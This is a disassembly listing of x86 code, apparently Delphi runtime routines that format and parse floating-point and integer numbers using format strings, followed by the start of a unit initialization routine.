		call	sub_40A9A3
		stosb
		dec	edx
		jnz	short loc_40AAE7

locret_40AAF0:				; CODE XREF: sub_40AA90+44j
					; sub_40AA90+52j
		retn
sub_40AA90	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AAF1:				; CODE XREF: sub_40A8EE+8Cj
					; DATA XREF: CODE:0040A99Fo
		xor	ebx, ebx
		mov	bl, ds:byte_41E4EC
		mov	ecx, 3
		cmp	byte ptr [ebp-1Ah], 0
		jz	short loc_40AB0F
		mov	bl, ds:byte_41E4ED
		mov	ecx, 40Fh

loc_40AB0F:				; CODE XREF: CODE:0040AB02j
		cmp	bl, cl
		jbe	short loc_40AB15
		mov	bl, cl

loc_40AB15:				; CODE XREF: CODE:0040AB11j
		add	bl, ch
		lea	ebx, dword_40AB5A[ebx+ebx*4]
		mov	ecx, 5

loc_40AB23:				; CODE XREF: CODE:0040AB45j
		mov	al, [ebx]
		cmp	al, 40h
		jz	short locret_40AB47
		push	ecx
		push	ebx
		cmp	al, 24h
		jz	short loc_40AB36
		cmp	al, 2Ah
		jz	short loc_40AB3D
		stosb
		jmp	short loc_40AB42
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AB36:				; CODE XREF: CODE:0040AB2Dj
		call	sub_40AB48
		jmp	short loc_40AB42
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AB3D:				; CODE XREF: CODE:0040AB31j
		call	sub_40AA90

loc_40AB42:				; CODE XREF: CODE:0040AB34j
					; CODE:0040AB3Bj
		pop	ebx
		pop	ecx
		inc	ebx
		loop	loc_40AB23

locret_40AB47:				; CODE XREF: CODE:0040AB27j
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40AB48	proc near		; CODE XREF: CODE:0040AB36p
		push	esi
		mov	esi, ds:dword_41E4E8
		test	esi, esi
		jz	short loc_40AB58
		mov	ecx, [esi-4]
		repe movsb

loc_40AB58:				; CODE XREF: sub_40AB48+9j
		pop	esi
		retn
sub_40AB48	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
dword_40AB5A	dd 40402A24h, 40242A40h, 20244040h, 2A40402Ah, 40402420h
					; DATA XREF: CODE:0040AB17r
		dd 292A2428h, 2A242D40h, 2D244040h, 2440402Ah, 40402D2Ah
		dd 29242A28h, 242A2D40h, 2D2A4040h, 2A404024h, 40402D24h
		dd 24202A2Dh, 20242D40h, 202A402Ah, 24402D24h, 402D2A20h
		dd 2A2D2024h, 202D2A40h, 24284024h, 28292A20h, 2924202Ah
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	edi
		push	esi
		push	ebx
		mov	[ebp-4], eax
		mov	edi, edx
		mov	ebx, ecx
		mov	ecx, 2
		cmp	bl, 0
		jz	short loc_40ABE7
		mov	eax, [edi]
		or	eax, [edi+4]
		jz	short loc_40ABF9
		mov	ecx, [edi+4]
		shr	ecx, 1Fh
		jmp	short loc_40ABF9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40ABE7:				; CODE XREF: CODE:0040ABD6j
		movzx	eax, word ptr [edi+8]
		or	eax, [edi]
		or	eax, [edi+4]
		jz	short loc_40ABF9
		movzx	ecx, word ptr [edi+8]
		shr	ecx, 0Fh

loc_40ABF9:				; CODE XREF: CODE:0040ABDDj
					; CODE:0040ABE5j ...
		call	sub_40AC8A
		jz	short loc_40AC4C
		call	sub_40ACC5
		mov	eax, [ebp-14h]
		mov	edx, 270Fh
		cmp	byte ptr [ebp-0Ch], 0
		jnz	short loc_40AC1D
		sub	eax, [ebp-18h]
		mov	edx, eax
		mov	eax, 12h

loc_40AC1D:				; CODE XREF: CODE:0040AC11j
		push	eax
		push	edx
		lea	eax, [ebp-40h]
		mov	edx, edi
		mov	ecx, ebx
		call	sub_40AE91
		mov	ax, [ebp-40h]
		cmp	ax, 8000h
		jz	short loc_40AC4C
		cmp	ax, 7FFFh
		jz	short loc_40AC4C
		cmp	bl, 0
		jnz	short loc_40AC60
		cmp	ax, 12h
		jle	short loc_40AC60
		cmp	byte ptr [ebp-0Ch], 0
		jnz	short loc_40AC60

loc_40AC4C:				; CODE XREF: CODE:0040ABFEj
					; CODE:0040AC33j ...
		push	0
		push	0Fh
		push	0
		mov	eax, [ebp-4]
		mov	edx, edi
		mov	ecx, ebx
		call	sub_40A8EE
		jmp	short loc_40AC81
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AC60:				; CODE XREF: CODE:0040AC3Ej
					; CODE:0040AC44j ...
		cmp	byte ptr [ebp-3Dh], 0
		jnz	short loc_40AC7C
		mov	ecx, 2
		call	sub_40AC8A
		jz	short loc_40AC4C
		cmp	esi, [ebp-10h]
		jz	short loc_40AC7C
		call	sub_40ACC5

loc_40AC7C:				; CODE XREF: CODE:0040AC64j
					; CODE:0040AC75j
		call	sub_40AD70

loc_40AC81:				; CODE XREF: CODE:0040AC5Ej
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40AC8A	proc near		; CODE XREF: CODE:0040ABF9p
					; CODE:0040AC6Bp
		mov	esi, [ebp+8]
		jecxz	short loc_40ACAC

loc_40AC8F:				; CODE XREF: sub_40AC8A+14j
					; sub_40AC8A+16j ...
		lodsb
		cmp	al, 27h
		jz	short loc_40ACB8
		cmp	al, 22h
		jz	short loc_40ACB8
		or	al, al
		jz	short loc_40ACAC
		cmp	al, 3Bh
		jnz	short loc_40AC8F
		loop	loc_40AC8F
		mov	al, [esi]
		or	al, al
		jz	short loc_40ACAC
		cmp	al, 3Bh
		jnz	short locret_40ACB7

loc_40ACAC:				; CODE XREF: sub_40AC8A+3j
					; sub_40AC8A+10j ...
		mov	esi, [ebp+8]
		mov	al, [esi]
		or	al, al
		jz	short locret_40ACB7
		cmp	al, 3Bh

locret_40ACB7:				; CODE XREF: sub_40AC8A+20j
					; sub_40AC8A+29j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40ACB8:				; CODE XREF: sub_40AC8A+8j
					; sub_40AC8A+Cj
		mov	ah, al

loc_40ACBA:				; CODE XREF: sub_40AC8A+37j
		lodsb
		cmp	al, ah
		jz	short loc_40AC8F
		or	al, al
		jnz	short loc_40ACBA
		jmp	short loc_40ACAC
sub_40AC8A	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40ACC5	proc near		; CODE XREF: CODE:0040AC00p
					; CODE:0040AC77p
		push	ebx
		mov	[ebp-10h], esi
		mov	ebx, 7FFFh
		xor	ecx, ecx
		xor	edx, edx
		mov	dword ptr [ebp-18h], 0FFFFFFFFh
		mov	[ebp-8], dl
		mov	[ebp-0Ch], dl

loc_40ACDF:				; CODE XREF: sub_40ACC5+41j
					; sub_40ACC5+46j ...
		lodsb

loc_40ACE0:				; CODE XREF: sub_40ACC5+78j
					; sub_40ACC5+83j
		cmp	al, 23h
		jz	short loc_40AD0A
		cmp	al, 30h
		jz	short loc_40AD0D
		cmp	al, 2Eh
		jz	short loc_40AD18
		cmp	al, 2Ch
		jz	short loc_40AD23
		cmp	al, 27h
		jz	short loc_40AD29
		cmp	al, 22h
		jz	short loc_40AD29
		cmp	al, 45h
		jz	short loc_40AD36
		cmp	al, 65h
		jz	short loc_40AD36
		cmp	al, 3Bh
		jz	short loc_40AD4A
		or	al, al
		jnz	short loc_40ACDF
		jmp	short loc_40AD4A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AD0A:				; CODE XREF: sub_40ACC5+1Dj
		inc	edx
		jmp	short loc_40ACDF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AD0D:				; CODE XREF: sub_40ACC5+21j
		cmp	edx, ebx
		jge	short loc_40AD13
		mov	ebx, edx

loc_40AD13:				; CODE XREF: sub_40ACC5+4Aj
		inc	edx
		mov	ecx, edx
		jmp	short loc_40ACDF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AD18:				; CODE XREF: sub_40ACC5+25j
		cmp	dword ptr [ebp-18h], 0FFFFFFFFh
		jnz	short loc_40ACDF
		mov	[ebp-18h], edx
		jmp	short loc_40ACDF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AD23:				; CODE XREF: sub_40ACC5+29j
		mov	byte ptr [ebp-8], 1
		jmp	short loc_40ACDF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AD29:				; CODE XREF: sub_40ACC5+2Dj
					; sub_40ACC5+31j
		mov	ah, al

loc_40AD2B:				; CODE XREF: sub_40ACC5+6Dj
		lodsb
		cmp	al, ah
		jz	short loc_40ACDF
		or	al, al
		jnz	short loc_40AD2B
		jmp	short loc_40AD4A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AD36:				; CODE XREF: sub_40ACC5+35j
					; sub_40ACC5+39j
		lodsb
		cmp	al, 2Dh
		jz	short loc_40AD3F
		cmp	al, 2Bh
		jnz	short loc_40ACE0

loc_40AD3F:				; CODE XREF: sub_40ACC5+74j
		mov	byte ptr [ebp-0Ch], 1

loc_40AD43:				; CODE XREF: sub_40ACC5+81j
		lodsb
		cmp	al, 30h
		jz	short loc_40AD43
		jmp	short loc_40ACE0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AD4A:				; CODE XREF: sub_40ACC5+3Dj
					; sub_40ACC5+43j ...
		mov	[ebp-14h], edx
		cmp	dword ptr [ebp-18h], 0FFFFFFFFh
		jnz	short loc_40AD56
		mov	[ebp-18h], edx

loc_40AD56:				; CODE XREF: sub_40ACC5+8Cj
		mov	eax, [ebp-18h]
		sub	eax, ecx
		jle	short loc_40AD5F
		xor	eax, eax

loc_40AD5F:				; CODE XREF: sub_40ACC5+96j
		mov	[ebp-20h], eax
		mov	eax, [ebp-18h]
		sub	eax, ebx
		jge	short loc_40AD6B
		xor	eax, eax

loc_40AD6B:				; CODE XREF: sub_40ACC5+A2j
		mov	[ebp-1Ch], eax
		pop	ebx
		retn
sub_40ACC5	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40AD70	proc near		; CODE XREF: CODE:0040AC7Cp
		cmp	byte ptr [ebp-0Ch], 0
		jz	short loc_40AD7D
		mov	eax, [ebp-18h]
		xor	edx, edx
		jmp	short loc_40AD90
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AD7D:				; CODE XREF: sub_40AD70+4j
		movsx	eax, word ptr [ebp-40h]
		cmp	eax, [ebp-18h]
		jg	short loc_40AD89
		mov	eax, [ebp-18h]

loc_40AD89:				; CODE XREF: sub_40AD70+14j
		movsx	edx, word ptr [ebp-40h]
		sub	edx, [ebp-18h]

loc_40AD90:				; CODE XREF: sub_40AD70+Bj
		mov	[ebp-24h], eax
		mov	[ebp-28h], edx
		mov	esi, [ebp-10h]
		mov	edi, [ebp-4]
		lea	ebx, [ebp-3Dh]
		cmp	byte ptr [ebp-3Eh], 0
		jz	short loc_40ADAD
		cmp	esi, [ebp+8]
		jnz	short loc_40ADAD
		mov	al, 2Dh
		stosb

loc_40ADAD:				; CODE XREF: sub_40AD70+33j
					; sub_40AD70+38j ...
		lodsb
		cmp	al, 23h
		jz	short loc_40ADD9
		cmp	al, 30h
		jz	short loc_40ADD9
		cmp	al, 2Eh
		jz	short loc_40ADAD
		cmp	al, 2Ch
		jz	short loc_40ADAD
		cmp	al, 27h
		jz	short loc_40ADE0
		cmp	al, 22h
		jz	short loc_40ADE0
		cmp	al, 45h
		jz	short loc_40ADEE
		cmp	al, 65h
		jz	short loc_40ADEE
		cmp	al, 3Bh
		jz	short loc_40AE25
		or	al, al
		jz	short loc_40AE25

loc_40ADD6:				; CODE XREF: sub_40AD70+88j
		stosb
		jmp	short loc_40ADAD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40ADD9:				; CODE XREF: sub_40AD70+40j
					; sub_40AD70+44j
		call	sub_40AE2B
		jmp	short loc_40ADAD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40ADE0:				; CODE XREF: sub_40AD70+50j
					; sub_40AD70+54j
		mov	ah, al

loc_40ADE2:				; CODE XREF: sub_40AD70+7Cj
		lodsb
		cmp	al, ah
		jz	short loc_40ADAD
		or	al, al
		jz	short loc_40AE25
		stosb
		jmp	short loc_40ADE2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40ADEE:				; CODE XREF: sub_40AD70+58j
					; sub_40AD70+5Cj
		mov	ah, [esi]
		cmp	ah, 2Bh
		jz	short loc_40ADFC
		cmp	ah, 2Dh
		jnz	short loc_40ADD6
		xor	ah, ah

loc_40ADFC:				; CODE XREF: sub_40AD70+83j
		mov	ecx, 0FFFFFFFFh

loc_40AE01:				; CODE XREF: sub_40AD70+96j
		inc	ecx
		inc	esi
		cmp	byte ptr [esi],	30h
		jz	short loc_40AE01
		cmp	ecx, 4
		jb	short loc_40AE12
		mov	ecx, 4

loc_40AE12:				; CODE XREF: sub_40AD70+9Bj
		push	ebx
		mov	bl, [ebp-3Dh]
		movsx	edx, word ptr [ebp-40h]
		sub	edx, [ebp-18h]
		call	sub_40AA4C
		pop	ebx
		jmp	short loc_40ADAD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AE25:				; CODE XREF: sub_40AD70+60j
					; sub_40AD70+64j ...
		mov	eax, edi
		sub	eax, [ebp-4]
		retn
sub_40AD70	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40AE2B	proc near		; CODE XREF: sub_40AD70+69p
		cmp	dword ptr [ebp-28h], 0
		jz	short sub_40AE4C
		jl	short loc_40AE3F

loc_40AE33:				; CODE XREF: sub_40AE2B+10j
		call	sub_40AE4C
		dec	dword ptr [ebp-28h]
		jnz	short loc_40AE33
		jmp	short sub_40AE4C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AE3F:				; CODE XREF: sub_40AE2B+6j
		inc	dword ptr [ebp-28h]
		mov	eax, [ebp-24h]
		cmp	eax, [ebp-1Ch]
		jle	short loc_40AE5C
		jmp	short loc_40AE8D
sub_40AE2B	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40AE4C	proc near		; CODE XREF: sub_40AE2B+4j
					; sub_40AE2B+8p ...
		mov	al, [ebx]
		inc	ebx
		or	al, al
		jnz	short loc_40AE5E
		dec	ebx
		mov	eax, [ebp-24h]
		cmp	eax, [ebp-20h]
		jle	short loc_40AE8D

loc_40AE5C:				; CODE XREF: sub_40AE2B+1Dj
		mov	al, 30h

loc_40AE5E:				; CODE XREF: sub_40AE4C+5j
		cmp	dword ptr [ebp-24h], 0
		jnz	short loc_40AE6F
		mov	ah, al
		mov	al, ds:byte_41E4EF
		stosw
		jmp	short loc_40AE8D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AE6F:				; CODE XREF: sub_40AE4C+16j
		stosb
		cmp	byte ptr [ebp-8], 0
		jz	short loc_40AE8D
		mov	eax, [ebp-24h]
		cmp	eax, 1
		jle	short loc_40AE8D
		mov	dl, 3
		div	dl
		cmp	ah, 1
		jnz	short loc_40AE8D
		mov	al, ds:byte_41E4EE
		stosb

loc_40AE8D:				; CODE XREF: sub_40AE2B+1Fj
					; sub_40AE4C+Ej ...
		dec	dword ptr [ebp-24h]
		retn
sub_40AE4C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40AE91	proc near		; CODE XREF: sub_40A8EE+43p
					; CODE:0040AC26p
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ah
		push	edi
		push	esi
		push	ebx
		mov	ebx, eax
		mov	esi, edx
		cmp	cl, 0
		jz	short loc_40AEAA
		call	sub_40AFBF
		jmp	short loc_40AEAF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AEAA:				; CODE XREF: sub_40AE91+10j
		call	sub_40AEB8

loc_40AEAF:				; CODE XREF: sub_40AE91+17j
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40AE91	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40AEB8	proc near		; CODE XREF: sub_40AE91+19p
		mov	ax, [esi+8]
		mov	edx, eax
		and	eax, 7FFFh
		jz	short loc_40AEE3
		cmp	eax, 7FFFh
		jnz	short loc_40AEEE
		test	word ptr [esi+6], 8000h
		jz	short loc_40AEE5
		cmp	dword ptr [esi], 0
		jnz	short loc_40AEE2
		cmp	dword ptr [esi+4], 80000000h
		jz	short loc_40AEE5

loc_40AEE2:				; CODE XREF: sub_40AEB8+1Fj
		inc	eax

loc_40AEE3:				; CODE XREF: sub_40AEB8+Bj
					; sub_40AEB8+A7j
		xor	edx, edx

loc_40AEE5:				; CODE XREF: sub_40AEB8+1Aj
					; sub_40AEB8+28j
		mov	byte ptr [ebx+3], 0
		jmp	loc_40AFB0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AEEE:				; CODE XREF: sub_40AEB8+12j
		fld	tbyte ptr [esi]
		sub	eax, 3FFFh
		imul	eax, 4D10h
		sar	eax, 10h
		inc	eax
		mov	[ebp-8], eax
		mov	eax, 12h
		sub	eax, [ebp-8]
		fabs
		call	sub_4052BC
		frndint
		fld	ds:tbyte_40A8DC
		fcomp	st(1)
		fstsw	word ptr [ebp-4]
		wait
		test	word ptr [ebp-4], 4100h
		jz	short loc_40AF31
		fidiv	ds:dword_40A8CC
		inc	dword ptr [ebp-8]

loc_40AF31:				; CODE XREF: sub_40AEB8+6Ej
		fbstp	tbyte ptr [ebp-1Ah]
		lea	edi, [ebx+3]
		mov	edx, 9
		wait

loc_40AF3D:				; CODE XREF: sub_40AEB8+98j
		mov	al, [ebp+edx-1Bh]
		mov	ah, al
		shr	al, 4
		and	ah, 0Fh
		add	ax, 3030h
		stosw
		dec	edx
		jnz	short loc_40AF3D
		xor	al, al
		stosb
		mov	edi, [ebp-8]
		add	edi, [ebp+8]
		jns	short loc_40AF61
		xor	eax, eax
		jmp	short loc_40AEE3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AF61:				; CODE XREF: sub_40AEB8+A3j
		cmp	edi, [ebp+0Ch]
		jb	short loc_40AF69
		mov	edi, [ebp+0Ch]

loc_40AF69:				; CODE XREF: sub_40AEB8+ACj
		cmp	edi, 12h
		jnb	short loc_40AF95
		cmp	byte ptr [ebx+edi+3], 35h
		jb	short loc_40AF9A

loc_40AF75:				; CODE XREF: sub_40AEB8+CEj
		mov	byte ptr [ebx+edi+3], 0
		dec	edi
		js	short loc_40AF8A
		inc	byte ptr [ebx+edi+3]
		cmp	byte ptr [ebx+edi+3], 39h
		ja	short loc_40AF75
		jmp	short loc_40AFA9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AF8A:				; CODE XREF: sub_40AEB8+C3j
		mov	word ptr [ebx+3], 31h
		inc	dword ptr [ebp-8]
		jmp	short loc_40AFA9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AF95:				; CODE XREF: sub_40AEB8+B4j
		mov	edi, 12h

loc_40AF9A:				; CODE XREF: sub_40AEB8+BBj
					; sub_40AEB8+EFj
		mov	byte ptr [ebx+edi+3], 0
		dec	edi
		js	short loc_40AFBB
		cmp	byte ptr [ebx+edi+3], 30h
		jz	short loc_40AF9A

loc_40AFA9:				; CODE XREF: sub_40AEB8+D0j
					; sub_40AEB8+DBj
		mov	dx, [esi+8]

loc_40AFAD:				; CODE XREF: sub_40AEB8+105j
		mov	eax, [ebp-8]

loc_40AFB0:				; CODE XREF: sub_40AEB8+31j
		shr	dx, 0Fh
		mov	[ebx], ax
		mov	[ebx+2], dl
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AFBB:				; CODE XREF: sub_40AEB8+E8j
		xor	edx, edx
		jmp	short loc_40AFAD
sub_40AEB8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40AFBF	proc near		; CODE XREF: sub_40AE91+12p
		mov	eax, [esi]
		mov	edx, [esi+4]
		mov	ecx, eax
		or	ecx, edx
		jz	loc_40B082
		or	edx, edx
		jns	short loc_40AFD9
		neg	edx
		neg	eax
		sbb	edx, 0

loc_40AFD9:				; CODE XREF: sub_40AFBF+11j
		xor	ecx, ecx
		mov	edi, [ebp+8]
		or	edi, edi
		jge	short loc_40AFE4
		xor	edi, edi

loc_40AFE4:				; CODE XREF: sub_40AFBF+21j
		cmp	edi, 4
		jl	short loc_40B008
		mov	edi, 4

loc_40AFEE:				; CODE XREF: sub_40AFBF+3Bj
		inc	ecx
		sub	eax, 0A7640000h
		sbb	edx, 0DE0B6B3h
		jnb	short loc_40AFEE
		dec	ecx
		add	eax, 0A7640000h
		adc	edx, 0DE0B6B3h

loc_40B008:				; CODE XREF: sub_40AFBF+28j
		mov	[ebp-10h], eax
		mov	[ebp-0Ch], edx
		fild	qword ptr [ebp-10h]
		mov	edx, edi
		mov	eax, 4
		sub	eax, edx
		jz	short loc_40B023
		fidiv	ds:flt_40A8C8[eax*4]

loc_40B023:				; CODE XREF: sub_40AFBF+5Bj
		fbstp	tbyte ptr [ebp-1Ah]
		lea	edi, [ebx+3]
		wait
		or	ecx, ecx
		jnz	short loc_40B049
		mov	ecx, 9

loc_40B033:				; CODE XREF: sub_40AFBF+86j
		mov	al, [ebp+ecx-1Bh]
		mov	ah, al
		shr	al, 4
		jnz	short loc_40B05C
		mov	al, ah
		and	al, 0Fh
		jnz	short loc_40B063
		dec	ecx
		jnz	short loc_40B033
		jmp	short loc_40B082
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40B049:				; CODE XREF: sub_40AFBF+6Dj
		mov	al, cl
		add	al, 30h
		stosb
		mov	ecx, 9

loc_40B053:				; CODE XREF: sub_40AFBF+A8j
		mov	al, [ebp+ecx-1Bh]
		mov	ah, al
		shr	al, 4

loc_40B05C:				; CODE XREF: sub_40AFBF+7Dj
		add	al, 30h
		stosb
		mov	al, ah
		and	al, 0Fh

loc_40B063:				; CODE XREF: sub_40AFBF+83j
		add	al, 30h
		stosb
		dec	ecx
		jnz	short loc_40B053
		mov	eax, edi
		lea	ecx, [ebx+edx+3]
		sub	eax, ecx

loc_40B071:				; CODE XREF: sub_40AFBF+B9j
		mov	byte ptr [edi],	0
		dec	edi
		cmp	byte ptr [edi],	30h
		jz	short loc_40B071
		mov	edx, [esi+4]
		shr	edx, 1Fh
		jmp	short loc_40B089
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40B082:				; CODE XREF: sub_40AFBF+9j
					; sub_40AFBF+88j
		xor	eax, eax
		xor	edx, edx
		mov	[ebx+3], al

loc_40B089:				; CODE XREF: sub_40AFBF+C1j
		mov	[ebx], ax
		mov	[ebx+2], dl
		retn
sub_40AFBF	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
		sub	esp, 6
		push	edi
		push	esi
		push	ebx
		mov	esi, eax
		mov	edi, edx
		mov	ebx, ecx
		fstcw	word ptr [ebp-6]
		fclex
		fldcw	ds:word_40A8E6
		fldz
		call	sub_40B13B
		mov	bh, [esi]
		cmp	bh, 2Bh
		jz	short loc_40B0BF
		cmp	bh, 2Dh
		jnz	short loc_40B0C0

loc_40B0BF:				; CODE XREF: CODE:0040B0B8j
		inc	esi

loc_40B0C0:				; CODE XREF: CODE:0040B0BDj
		mov	ecx, esi
		call	sub_40B146
		xor	edx, edx
		mov	al, [esi]
		cmp	al, ds:byte_41E4EF
		jnz	short loc_40B0DB
		inc	esi
		call	sub_40B146
		neg	edx

loc_40B0DB:				; CODE XREF: CODE:0040B0D1j
		cmp	ecx, esi
		jz	short loc_40B129
		mov	al, [esi]
		and	al, 0DFh
		cmp	al, 45h
		jnz	short loc_40B0F1
		inc	esi
		push	edx
		call	sub_40B162
		pop	eax
		add	edx, eax

loc_40B0F1:				; CODE XREF: CODE:0040B0E5j
		call	sub_40B13B
		cmp	byte ptr [esi],	0
		jnz	short loc_40B129
		mov	eax, edx
		cmp	bl, 1
		jnz	short loc_40B105
		add	eax, 4

loc_40B105:				; CODE XREF: CODE:0040B100j
		call	sub_4052BC
		cmp	bh, 2Dh
		jnz	short loc_40B111
		fchs

loc_40B111:				; CODE XREF: CODE:0040B10Dj
		cmp	bl, 0
		jz	short loc_40B11A
		fistp	qword ptr [edi]
		jmp	short loc_40B11C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40B11A:				; CODE XREF: CODE:0040B114j
		fstp	tbyte ptr [edi]

loc_40B11C:				; CODE XREF: CODE:0040B118j
		fstsw	ax
		test	ax, 9
		jnz	short loc_40B12B
		mov	al, 1
		jmp	short loc_40B12D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40B129:				; CODE XREF: CODE:0040B0DDj
					; CODE:0040B0F9j
		fstp	st

loc_40B12B:				; CODE XREF: CODE:0040B123j
		xor	eax, eax

loc_40B12D:				; CODE XREF: CODE:0040B127j
		fclex
		fldcw	word ptr [ebp-6]
		wait
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40B13B	proc near		; CODE XREF: CODE:0040B0AEp
					; CODE:0040B0F1p ...
		lodsb
		or	al, al
		jz	short loc_40B144
		cmp	al, 20h
		jz	short sub_40B13B

loc_40B144:				; CODE XREF: sub_40B13B+3j
		dec	esi
		retn
sub_40B13B	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40B146	proc near		; CODE XREF: CODE:0040B0C2p
					; CODE:0040B0D4p
		xor	eax, eax
		xor	edx, edx

loc_40B14A:				; CODE XREF: sub_40B146+18j
		lodsb
		sub	al, 3Ah
		add	al, 0Ah
		jnb	short loc_40B160
		fimul	ds:dword_40A8CC
		mov	[ebp-4], eax
		fiadd	dword ptr [ebp-4]
		inc	edx
		jmp	short loc_40B14A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40B160:				; CODE XREF: sub_40B146+9j
		dec	esi
		retn
sub_40B146	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40B162	proc near		; CODE XREF: CODE:0040B0E9p
		xor	eax, eax
		xor	edx, edx
		mov	cl, [esi]
		cmp	cl, 2Bh
		jz	short loc_40B172
		cmp	cl, 2Dh
		jnz	short loc_40B173

loc_40B172:				; CODE XREF: sub_40B162+9j
		inc	esi

loc_40B173:				; CODE XREF: sub_40B162+Ej
					; sub_40B162+25j
		mov	al, [esi]
		sub	al, 3Ah
		add	al, 0Ah
		jnb	short loc_40B189
		inc	esi
		imul	edx, 0Ah
		add	edx, eax
		cmp	edx, 1F4h
		jb	short loc_40B173

loc_40B189:				; CODE XREF: sub_40B162+17j
		cmp	cl, 2Dh
		jnz	short locret_40B190
		neg	edx

locret_40B190:				; CODE XREF: sub_40B162+2Aj
		retn
sub_40B162	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40B194	proc near		; DATA XREF: CODE:0041A910o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40B2CA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E5F0
		jnz	loc_40B2BC
		mov	eax, offset unk_41E5FC
		call	sub_40A5EC
		call	sub_40A440
		call	sub_409BD8
		mov	eax, offset off_41C230
		mov	ecx, 16h
		mov	edx, ds:off_409668
		call	sub_403BE8
		mov	eax, offset dword_41C1F8
		mov	ecx, 7
		mov	edx, ds:off_4095E8
		call	sub_403BE8
		mov	eax, offset off_41C124
		call	sub_4034C8
		mov	eax, offset unk_41E5B4
		mov	ecx, 7
		mov	edx, ds:off_401000
		call	sub_403BE8
